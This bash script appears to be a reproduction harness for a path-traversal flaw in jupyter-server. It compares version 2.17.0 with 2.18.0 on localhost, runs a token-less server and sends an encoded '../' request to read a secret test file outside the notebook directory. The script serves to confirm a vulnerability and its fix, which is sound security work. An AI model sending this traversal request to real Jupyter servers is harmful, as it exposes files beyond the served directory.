#!/bin/bash
set -euo pipefail

# Portable root detection - works anywhere
ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
LOGS="$ROOT/logs"
mkdir -p "$LOGS"

cd "$ROOT"

VULNERABLE_VERSION="2.17.0"
FIXED_VERSION="2.18.0"
PORT=28888
TESTDIR="$ROOT/tmp_test_dirs"
VENV="$ROOT/.jupyter_repro_venv"

# Cleanup function
cleanup() {
    set +e
    # Kill any running jupyter server on our port range
    pkill -9 -f "jupyter.server.*port=28888" 2>/dev/null || true
    pkill -9 -f "jupyter.server.*port=28889" 2>/dev/null || true
    pkill -9 -f "jupyter.server.*port=28890" 2>/dev/null || true
    sleep 1
    rm -rf "$TESTDIR"
}
trap cleanup EXIT

# Create test directories
rm -rf "$TESTDIR"
mkdir -p "$TESTDIR/data"
mkdir -p "$TESTDIR/datasecret"
echo "SECRET CONTENT" > "$TESTDIR/datasecret/secret.txt"
echo "ROOT CONTENT" > "$TESTDIR/data/root.txt"

# Create virtualenv if needed
if [ ! -d "$VENV" ]; then
    python3 -m venv "$VENV"
fi

# Helper to test a version via HTTP API
test_version() {
    local version="$1"
    local label="$2"
    local logfile="$LOGS/${label}.log"
    local bodyfile="$LOGS/${label}_http_body.json"
    local manifest="$LOGS/${label}_manifest.json"
    local codefile="$LOGS/${label}_http_code.txt"

    echo "=== Testing jupyter-server $version ($label) ===" >&2

    # Install the specified version
    "$VENV/bin/pip" install "jupyter-server==$version" -q 2>&1 | tail -3 >&2

    # Verify installed version
    INSTALLED=$("$VENV/bin/python3" -c "import jupyter_server; print(jupyter_server.__version__)")
    echo "Installed version: $INSTALLED" >&2

    # Start server in background
    "$VENV/bin/jupyter" server \
        --notebook-dir="$TESTDIR/data" \
        --port=$PORT \
        --allow-root \
        --no-browser \
        --ServerApp.token='' \
        --ContentsManager.allow_hidden=True \
        > "$logfile" 2>&1 &

    local jpid=$!
    sleep 4

    # Find actual port (server may increment if port is in use)
    ACTUAL_PORT=$PORT
    if ! curl -s "http://localhost:$ACTUAL_PORT/api/contents/" > /dev/null 2>&1; then
        ACTUAL_PORT=$((PORT + 1))
        if ! curl -s "http://localhost:$ACTUAL_PORT/api/contents/" > /dev/null 2>&1; then
            ACTUAL_PORT=$((PORT + 2))
        fi
    fi

    echo "Server running on port $ACTUAL_PORT (PID $jpid)" >&2

    # Request the sibling file via path traversal
    local http_code
    http_code=$(curl -s -o "$bodyfile" -w "%{http_code}" \
        "http://localhost:$ACTUAL_PORT/api/contents/%2e%2e%2fdatasecret/secret.txt?content=1")

    echo "HTTP_CODE:$http_code" >&2
    cat "$bodyfile" >&2
    echo "" >&2

    # Write runtime manifest
    cat > "$manifest" << EOF
{
  "version": "$version",
  "label": "$label",
  "request_url": "http://localhost:$ACTUAL_PORT/api/contents/%2e%2e%2fdatasecret/secret.txt?content=1",
  "http_status": $http_code,
  "response_body_file": "$bodyfile",
  "server_log": "$logfile"
}
EOF

    # Kill server
    kill $jpid 2>/dev/null || true
    wait $jpid 2>/dev/null || true

    # Return http code via stdout
    echo "$http_code"
}

# Test vulnerable version
VULN_CODE=$(test_version "$VULNERABLE_VERSION" "vulnerable")

# Test fixed version
FIXED_CODE=$(test_version "$FIXED_VERSION" "fixed")

echo ""
echo "=== RESULTS ==="
echo "Vulnerable version ($VULNERABLE_VERSION): HTTP $VULN_CODE"
echo "Fixed version ($FIXED_VERSION): HTTP $FIXED_CODE"

# Determine verdict
VULN_OK=0
FIXED_OK=0

if [ "$VULN_CODE" = "200" ]; then
    VULN_OK=1
fi

if [ "$FIXED_CODE" = "404" ]; then
    FIXED_OK=1
fi

if [ "$VULN_OK" -eq 1 ] && [ "$FIXED_OK" -eq 1 ]; then
    echo "VERDICT: confirmed"
    exit 0
else
    echo "VERDICT: not_confirmed (vulnerable=$VULN_CODE, fixed=$FIXED_CODE)"
    exit 1
fi
